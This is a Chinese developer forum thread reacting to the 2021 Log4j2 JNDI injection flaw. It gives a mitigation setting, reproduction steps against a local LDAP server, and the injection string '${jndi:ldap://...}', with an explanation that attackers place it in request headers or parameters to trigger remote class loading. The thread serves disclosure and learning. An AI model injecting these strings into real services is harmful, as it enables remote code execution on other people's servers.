颤抖吧 Javaer, log4j 史诗级漏洞

2021-12-10 09:16:39 +08:00
 eviladan0s

漏洞预警: https://mp.weixin.qq.com/s/WBbAthHY36qY0w9e4UUl4Q

本质上是 log4j 里的 lookup 方法存在 jndi 注入(看图): https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/20211210091200YOXTYd.jpg

百度、谷歌、苹果的框全都沦陷了: https://adan0s-1256533472.cos.ap-nanjing.myqcloud.com/uPic/202112100913225Wncr7.png

修复措施: 在 log4j2.component.properties 配置文件中设置 log4j2.formatMsgNoLookups=true ,可以暂时缓解避免受漏洞的影响。

之所以是史诗级,是因为不仅 log4j 使用范围广,而且日志数据你不知道流到哪里的 log4j 就会触发

34540 次点击
所在节点    Java
189 条回复
ffw5b7
2021-12-10 14:32:13 +08:00
怎么复现+1
aguesuka
2021-12-10 14:43:40 +08:00
@ohwind 看我 53 楼贴的代码, 作者使用了一个高风险的 api, 却只做了最简单的单元测试. 而这段代码的参数是 log4j2 最核心的功能 logger.error 会调用的, 而后者的参数是不安全的字符串.
直接滑坡到 "完美无暇" 和 "二极管思维" 的你才是
guanhui07
2021-12-10 14:47:59 +08:00
不慌
JKeita
2021-12-10 14:49:48 +08:00
log4j 我记得以前也出过远程执行漏洞吧
liprais
2021-12-10 14:56:28 +08:00
@MoYi123 真不能,性能差远了,你干脆说不打日志算了
onionKnight888
2021-12-10 14:56:45 +08:00
不慌 log4j 漏洞不嫌多
humpy
2021-12-10 14:59:22 +08:00
复现步骤

1. 搭建并启动一个 ldap 服务器(比如,ldap://127.0.0.1:1389 );
2. 确保测试应用使用的是 log4j2 日志框架( spring 框架因为默认是用的 logback ,需要在 [spring-boot-starter-web] exclude [spring-boot-starter-logging],再添加 [spring-boot-starter-log4j2] 依赖);
3. 在测试应用中打日志,比如,「 log.info("${jndi:ldap://127.0.0.1:1389}");」 ,可以看到打印的日志内容类似于「 com.sun.jndi.ldap.LdapCtx@65d6b83b 」,ldap 服务器上也能看到请求记录;
4. 如上,已经复现了远程调用,更进一步,如果想执行恶意代码,ldap 接口需要响应想要执行的 java class
monkeyWie
2021-12-10 15:02:10 +08:00
@humpy #107 意思是没有 ldap 服务的就安全了吧?
eviladan0s
2021-12-10 15:06:09 +08:00
@monkeyWie 不是,这个场景中,LDAP 服务器是攻击者控制的
humpy
2021-12-10 15:11:09 +08:00
@monkeyWie #108 ldap 服务是攻击者的。

这个攻击的核心是攻击者可以通过接口请求的方式,在 header 或者请求参数里,带上类似这样的字符串「"${jndi:ldap://v2ex.com}"」,如果接口服务记录日志的时候内容里带上了这串地址(比如记录接口请求日志),log4j 就会去请求它
monkeyWie
2021-12-10 15:21:05 +08:00
@eviladan0s #109
@humpy #110
懂了,感谢解惑~
zhady009
2021-12-10 15:22:04 +08:00
@liprais 同步都差不多只有异步才明显
yohole
2021-12-10 15:24:06 +08:00
本地完美复现,确实比较危险,而且构造注入的工具和手段非常简单。。。
powerman
2021-12-10 15:34:51 +08:00
@aguesuka 问题是 一个日志组件 不是应该干好日志组件的事情就好了,为啥要使用这种 API ,从理论上来讲,Java 有边界检查,都已经完全避免了二进制内存溢出漏洞了,还整这种高危 API 出来,得不偿失啊。
powerman
2021-12-10 15:38:02 +08:00
@aguesuka C/C++不安全,有溢出问题,业内也就认了,毕竟二进制缓冲区溢出是历史遗留问题了,Java 这种语言还用这种高危 API ,应该要以可选配置的方式提供给用户,而不是默认开启,这样可以大大减少 Java 应用出现的问题
miniliuke
2021-12-10 15:52:21 +08:00
@KevinBlandy 我的内网应用被安全扫描干趴了....../(ㄒoㄒ)/~~
ohwind
2021-12-10 16:00:34 +08:00
@aguesuka 给我整笑了,再看看你第一句说的什么东西再说话
aguesuka
2021-12-10 16:00:37 +08:00
@powerman 我只能解释为作者能力有限, 看他的测试用例, 其实是想通过 jndi 查询 "logging/context-name" 之类的东西, 但他不知道 jndi 的威力. 这也是我为什么说不用这个作者的其它框架的原因, 君子不立危墙之下
lisonfan
2021-12-10 16:07:38 +08:00
java 业务放在 docker ,做了 namespace 会不会安全点?
Ryanel
2021-12-10 16:19:02 +08:00
全公司所用部门应用正在吭哧吭哧升级修复,领导说,不搞完不许下班....

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://tanronggui.xyz/t/821241

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX